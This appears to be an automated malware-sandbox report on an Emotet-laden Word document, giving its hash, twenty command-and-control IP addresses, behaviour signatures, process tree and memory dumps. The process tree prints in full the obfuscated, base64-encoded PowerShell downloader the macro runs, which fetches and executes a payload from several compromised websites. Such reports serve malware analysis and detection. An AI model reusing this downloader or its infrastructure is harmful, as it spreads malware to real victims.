Analysis
- max time kernel
140s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
15/10/2020, 13:50
General
- Target emotet_e2_504eeb68bc0e728ec46119bf32b50f5337f1720d92e6824d8100b1dd7b345b98_2020-10-15__134830693631._doc.doc
- Size 140KB
- Sample201015-mlvmzh9h6s
- SHA256 504eeb68bc0e728ec46119bf32b50f5337f1720d92e6824d8100b1dd7b345b98
Score
10/10
Malware Config
Extracted
Family
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emotet
Botnet
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Epoch2
C2
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47.36.140.164:80
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169.50.76.149:8080
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162.241.140.129:8080
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104.131.123.136:443
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95.213.236.64:8080
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130.0.132.242:80
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123.176.25.234:80
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46.105.131.79:8080
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157.245.99.39:8080
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79.98.24.39:8080
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49.50.209.131:80
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72.143.73.234:443
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50.91.114.38:80
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89.216.122.92:80
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5.39.91.110:7080
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121.124.124.40:7080
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71.72.196.159:80
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5.196.74.210:8080
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139.162.108.71:8080
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61.19.246.238:443
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_504eeb68bc0e728ec46119bf32b50f5337f1720d92e6824d8100b1dd7b345b98_2020-10-15__134830693631._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABMAGkAZgBhAHoAXwBvAD0AKAAnAFYAJwArACcAYQAnACsAKAAnAHkAJwArACcAbQBlADcAOQAnACkAKQA7ACQAQgBiAGYAbABoAGMANwA9ACQASQB0ADgAdwBjADcAdgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAVAA5AGIAMQBjADkAYQA7ACQARgBjADcAMAA5ADYAMgA9ACgAJwBOAGwAJwArACcAMwBoACcAKwAoACcAOQAnACsAJwB5AGEAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBDAFIAYABlAEEAdABFAGAARABJAHIARQBDAHQAYABvAGAAUgB5ACIAKAAkAGUAbgB2ADoAdABtAHAAIAArACAAKAAoACcAewAnACsAJwAwAH0ATgA5AGoAdwBoAHcAYQB7ACcAKwAnADAAfQBSAGwAXwAnACsAJwBmACcAKwAnAG4ANgAnACsAJwA1AHsAMAB9ACcAKQAgACAALQBmAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAEoAaQA1ADYAMABpAGEAPQAoACcAUQAnACsAKAAnADMAawAyACcAKwAnADkAeQAnACkAKwAnADgAJwApADsAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAGAAVQByAEkAdAB5AHAAYABSAE8AYABUAE8AQwBgAE8AbAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdACgAKAAnAFMAJwArACcAcwBsACcAKQArACgAJwAzACwAVABsACcAKwAnAHMAJwArACcALAAnACkAKwAnAFQAJwArACcAbAAnACsAKAAnAHMAMQAxACcAKwAnACwAVABsACcAKQArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQAWgBxAGUAYwBfAF8ANQA9ACgAKAAnAFUAbgBjACcAKwAnADMAZQBuACcAKQArACcAcQAnACkAOwAkAFoAMwBjAHoAYgBiAGMAIAA9ACAAKAAnAFgAagAnACsAKAAnAG4ANQBlACcAKwAnAGcAJwApACkAOwAkAFoAYwBtAGwAZgB2AF8APQAoACgAJwBXACcAKwAnAHAANgAnACkAKwAoACcAaQByAHUAJwArACcAMAAnACkAKQA7ACQASwBwAG0AYgB2AGYAaQA9ACgAKAAnAEgAbQAnACsAJwBoACcAKQArACcANgB6ACcAKwAnAGwAYwAnACkAOwAkAFYAaAA5AG8AdQBtAHMAPQAkAGUAbgB2ADoAdABtAHAAKwAoACgAJwB7ACcAKwAnADAAfQBOADkAagAnACsAJwB3ACcAKwAnAGgAJwArACcAdwBhAHsAJwArACcAMAB9AFIAbABfAGYAbgA2ADUAJwArACcAewAwAH0AJwApACAALQBGAFsAQwBIAGEAUgBdADkAMgApACsAJABaADMAYwB6AGIAYgBjACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVgBoAGUAYQB4AHkAeQA9ACgAKAAnAFYAJwArACcANABpAG4AagAnACkAKwAnAGYAMAAnACkAOwAkAEwANgBxADQAbQBsAGoAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAYwBMAEkARQBuAFQAOwAkAEwAOQBiAGUANAAzAHkAPQAoACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAHQAdQByACcAKwAnAGkAcwBtAG8AJwApACsAKAAnAGMAaAAnACsAJwBhACcAKQArACcAYwAnACsAJwBvAC4AJwArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AdwAnACsAKAAnAHAALQAnACsAJwBhAGQAbQAnACkAKwAoACcAaQBuAC8AJwArACcAUgAnACkAKwAnADIALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwBjAHUAJwApACsAKAAnAGMAdABpAG4AJwArACcALgAnACkAKwAoACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AYQBkAG0AJwArACcAaQAnACsAJwBuACcAKwAnAC8AYwBnACcAKQArACgAJwB3AC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBtACcAKwAnAGUAaQBqAGkAJwApACsAKAAnAHoAcwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AJwArACcAYQBkAG0AaQAnACkAKwAoACcAbgAnACsAJwAvAFgAJwApACsAJwBLACcAKwAnADQAMQAnACsAJwBTACcAKwAoACcAdgAnACsAJwBCAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAcwA6ACcAKwAnAC8ALwBwAGkAYQBuAG8AYgAnACkAKwAoACcAYQAnACsAJwBuAGEAbgAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvACcAKQArACgAJwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkACcAKwAnAG0AaQBuAC8AJwArACcAQwAnACsAJwBDAFkALwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwAHMAOgAvACcAKwAnAC8AcwAnACkAKwAoACcAbQAnACsAJwBzAC4AcgAnACkAKwAoACcAYQAnACsAJwBoAGEAdAAnACkAKwAnAGUAeAAnACsAJwBsACcAKwAoACcAdAAnACsAJwBkAC4AYwBvAG0AJwApACsAKAAnAC8AJwArACcAQQBoAEoAMAAnACkAKwAnAEgATgAnACsAKAAnAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwBsAGkAJwApACsAJwBmAGUAJwArACcAcwAnACsAJwB0AHkAJwArACgAJwBsAGUAcwAnACsAJwBkAHIAaQB2AGUAbgAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvAHcAJwArACcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQBpAG4AJwApACsAJwAvACcAKwAnAEcAQgAnACsAKAAnAFoAcQBVAHIAJwArACcAcwAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AcwB1AHMAYQAnACkAKwAoACcAbgBhACcAKwAnAG0AbwByAGEAJwApACsAKAAnAGwAZQBzACcAKwAnAC4AYwBvAG0ALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGMAbwBuAHQAJwArACcAZQAnACkAKwAoACcAbgAnACsAJwB0AC8AdgAnACsAJwBLAC8AJwApACkALgAiAFMAYABQAEwASQBUACIAKAAkAFkAcgAwAHAAMwBlAHkAIAArACAAJABCAGIAZgBsAGgAYwA3ACAAKwAgACQAVgA5AGIANQBuAGYANwApADsAJABKAGQAbwBqAHAAOQBmAD0AKAAoACcAVAAnACsAJwByAGkANAA5ADYAJwApACsAJwBmACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA4AG8AMQBvAGsAaAAgAGkAbgAgACQATAA5AGIAZQA0ADMAeQApAHsAdAByAHkAewAkAEwANgBxADQAbQBsAGoALgAiAEQAbwB3AE4ATABPAGAAQQBgAEQAZgBpAGAATABFACIAKAAkAEEAOABvADEAbwBrAGgALAAgACQAVgBoADkAbwB1AG0AcwApADsAJABKAHkANwBpAG0AeQBhAD0AKAAnAE8AJwArACcAawBnACcAKwAoACcAMQB4ADYAJwArACcAcwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABWAGgAOQBvAHUAbQBzACkALgAiAGwARQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMwA0ADUAMwA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAUgBUACIAKAAkAFYAaAA5AG8AdQBtAHMAKQA7ACQAUgBhAGcAMgB6AGUAYQA9ACgAKAAnAEcAJwArACcAeQBsADcANgA5ACcAKQArACcAMAAnACkAOwBiAHIAZQBhAGsAOwAkAFgAcQAxAGoAeQBoAHoAPQAoACcAUwAnACsAKAAnADEAZQAnACsAJwAzAHAAJwApACsAJwBkADgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADgAagA2ADAAbwB5AD0AKAAnAFcAJwArACgAJwA4ACcAKwAnAGQAXwB6ADUAJwArACcAegAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\N9jwhwa\Rl_fn65\Xjn5eg.exe"C:\Users\Admin\AppData\Local\Temp\N9jwhwa\Rl_fn65\Xjn5eg.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\KBDWOL\audiodev.exe"C:\Windows\SysWOW64\KBDWOL\audiodev.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/424-0-0x00007FFE30550000-0x00007FFE30C16000-memory.dmp
memory/2092-13-0x00000000006E0000-0x00000000006FF000-memory.dmp
memory/2092-14-0x0000000000700000-0x000000000071E000-memory.dmp
memory/3648-9-0x000001C4A5DC0000-0x000001C4A5DC1000-memory.dmp
memory/3648-8-0x000001C4A5C10000-0x000001C4A5C11000-memory.dmp
memory/3648-7-0x00007FFE293C0000-0x00007FFE29DAC000-memory.dmp
memory/3980-17-0x0000000002190000-0x00000000021AF000-memory.dmp
memory/3980-18-0x00000000021B0000-0x00000000021CE000-memory.dmp